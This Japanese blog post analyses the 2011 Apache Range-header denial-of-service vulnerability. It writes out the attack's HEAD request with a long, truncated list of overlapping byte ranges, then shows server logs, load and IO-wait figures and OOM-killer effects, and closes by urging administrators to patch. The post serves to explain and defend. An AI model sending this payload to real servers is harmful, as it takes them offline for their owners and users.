apache の脆弱性

先日、apacheの脆弱性が公開された。この脆弱性は、既存の全バージョンで確認され、「緊急」扱いとなっている。

今回は、この脆弱性が如何に危険な存在であるか、検証してみよう。

今回見つかった脆弱性は、と呼ばれるもので、ざっくりと言ってしまえば、サービス拒否攻撃の類だ。サービス拒否攻撃には、いくつかの手法があり、

  1. 帯域圧迫型
  2. socket飽和型
  3. CPU占有型
  4. メモリ圧迫型

の4種類に大別することが出来る。このうち、1は一般的にはDDoS攻撃と呼ばれるもので、古くは「田代砲」と呼ばれる攻撃ツールもあった。2は、1と似ているが、大した帯域を使わず、大量にセッションを張るだけ張り、持続させて、相手のsocketを食いつぶす。syn floodやack flood攻撃もこの種になる。

3は、CGIを呼び出す部分のみを、高速に外部から呼び出し、CGIに費やす負荷を極限まで上げる方法だ。4は、ファイル転送を行う際に、大量かつ大容量のデータを転送することで、内部メモリを飽和させる方法だ。

今回見つかった脆弱性は、3と4を合わせ持つ強力なものだ。通常3や4を実行する場合、攻撃側もそれ相応の機材やネットワークを必要とし、botネットを用いることが一般的だ。しかし、今回の脆弱性を検証するために用いられたツールは、わずか8000バイト弱のデータを、1つのhttpリクエストにしたため、接続しているだけだ。

通信内容は、次のようになっている

HEAD / HTTP/1.1

Host: 192.168.2.113

Range:bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30,5-31,5-32,5-33,5-34,5-35,5-36,5-37,5-38,5-39,5-40,5-41,5-42,5-43,5-44,5-45,5-46,5-47,5-48,5-49,5-50,5-51,5-52,5-53,5-54,5-55,5-56,5-57,5-58,5-59,5-60,5-61,5-62,5-63,5-64,5-65,5-66,5-67,5-68,5-69,5-70,5-71,5-72,5-73,5-74,5-75,5-76,5-77,5-78,5-79,5-80,5-81,5-82,5-83,5-84,5-85,5-86,5-87,5-88,5-89,5-90,5-91,5-92,5-93,5-94,5-95,5-96,5-97,5-98,5-99,5-100,5-101,5-102,5-103,5-104,5-105,5-106,5-107,5-108,5-109,5-110,5-111,5-112,5-113,5-114,5-115,5-116,5-117,5-118,5-119,5-120,5-121,5-122,5-123,5-124,5-125,5-126,5-127,5-128,5-129,5-130,5-131,5-132,5-133,5-134,5-135,5-136,5-137,5-138,5-139,5-140,5-141,5-142,5-143,5-144,5-145,5-146,5-147,5-148,5-149,5-150,5-151,5-152,5-153,5-154,5-155,5-156,5-157,5-158,5-159,5-160,5-161,5-162,5-163,5-164,5-165,5-166,5-167,5-168,5-169,5-170,5-171,5-172 以下略

こう言った攻撃コードを、1回の通信で行っている。

ここで注目すべきは、「Range:bytes=」だ。

このRangeは、データを分割する際に用いる方法

だ。つまり、大量のデータがある場合、そのデータをいくつかに分割し、転送することを要求している。5-6 5-7 と言ったように、特定のバイトからバイトまでを分割して転送要求を行う。5-0 バイトから5-1299バイトまでを、1バイトづつ増やしながら、同じものを含め、再度転送することを要求する。この要求を受けたターゲットは、その要求に従い、律儀に転送しようと試みる。

これを受け取ったサーバは、下記に示すように、要求された分だけ、apacheの接続を受け止めようとする。

https://i0.wp.com/doruby.kbmj.com/totoro_blog/files/kill+apache+%E6%A4%9C%E8%A8%BC%E7%92%B0%E5%A2%83.png

見てわかるように、この時点でload average は、40を越えている。通常のサーバではありえない現象だ。

この時の通信ログは

192.168.3.26 – – [01/Sep/2011:10:20:37 +0900] “HEAD / HTTP/1.1” 206 354 “-” “-“

192.168.3.26 – – [01/Sep/2011:10:20:37 +0900] “HEAD / HTTP/1.1” 206 354 “-” “-“

192.168.3.26 – – [01/Sep/2011:10:20:37 +0900] “HEAD / HTTP/1.1” 206 354 “-” “-“

192.168.3.26 – – [01/Sep/2011:10:20:37 +0900] “HEAD / HTTP/1.1” 206 354 “-” “-“

192.168.3.26 – – [01/Sep/2011:10:20:37 +0900] “HEAD / HTTP/1.1” 206 354 “-” “-“

192.168.3.26 – – [01/Sep/2011:10:20:37 +0900] “HEAD / HTTP/1.1” 206 354 “-” “-“

192.168.3.26 – – [01/Sep/2011:10:20:37 +0900] “HEAD / HTTP/1.1” 206 354 “-” “-“

192.168.3.26 – – [01/Sep/2011:10:20:37 +0900] “HEAD / HTTP/1.1” 206 354 “-” “-“

192.168.3.26 – – [01/Sep/2011:10:20:37 +0900] “HEAD / HTTP/1.1” 206 354 “-” “-“

となっており、先程の様な、Range:bytes=は含まれていない。

この状況が続くとどうなるのか、状況を見てみよう。

https://i0.wp.com/doruby.kbmj.com/totoro_blog/files/wa97.png

waが97%を示していることがわかるだろうか。これは、IO Wait と呼ばれるもので、通信ではなくIO系の処理にそれだけのwaitが発生していることを示す。

この数値が大きければ、大きいほどシステムの反応速度は落ち、ファイルの書き込みや様々な応答速度は悪くなる。

webブラウザで接続した際、クルクルとレインボウカーソルが発生し、何時まで経っても、画面が表示されない。そういった状況を想い出せばよいだろう。

この状況が続くと、メモリもCPUも圧迫され続け、システムそのものへのssh接続もままならなくなる。

こうなると、システムは次の画面にあるように、OOM Killer を発動する。

https://i0.wp.com/doruby.kbmj.com/totoro_blog/files/oom_killer.png

この状況では、諸悪の根源を、apache に有ると考え、apache のタスクを殺しにかかる。

この時、apacheの抱えるタスクは当然のごとく消され、最悪の場合システムが完全にロックする場合もある。

この記事を書いてる現在、既にapache 2.2.20のパッチが提供され、それ以外のバージョンでも暫定的な対応策が公開されている。まだ、apacheの対策を行っていないのであれば、早急な対応されることの望む。最悪の場合、apacheどころか、OSまで止まるのだから。

広告

コメントを残す

以下に詳細を記入するか、アイコンをクリックしてログインしてください。

WordPress.com ロゴ

WordPress.com アカウントを使ってコメントしています。 ログアウト / 変更 )

Twitter 画像

Twitter アカウントを使ってコメントしています。 ログアウト / 変更 )

Facebook の写真

Facebook アカウントを使ってコメントしています。 ログアウト / 変更 )

Google+ フォト

Google+ アカウントを使ってコメントしています。 ログアウト / 変更 )

%s と連携中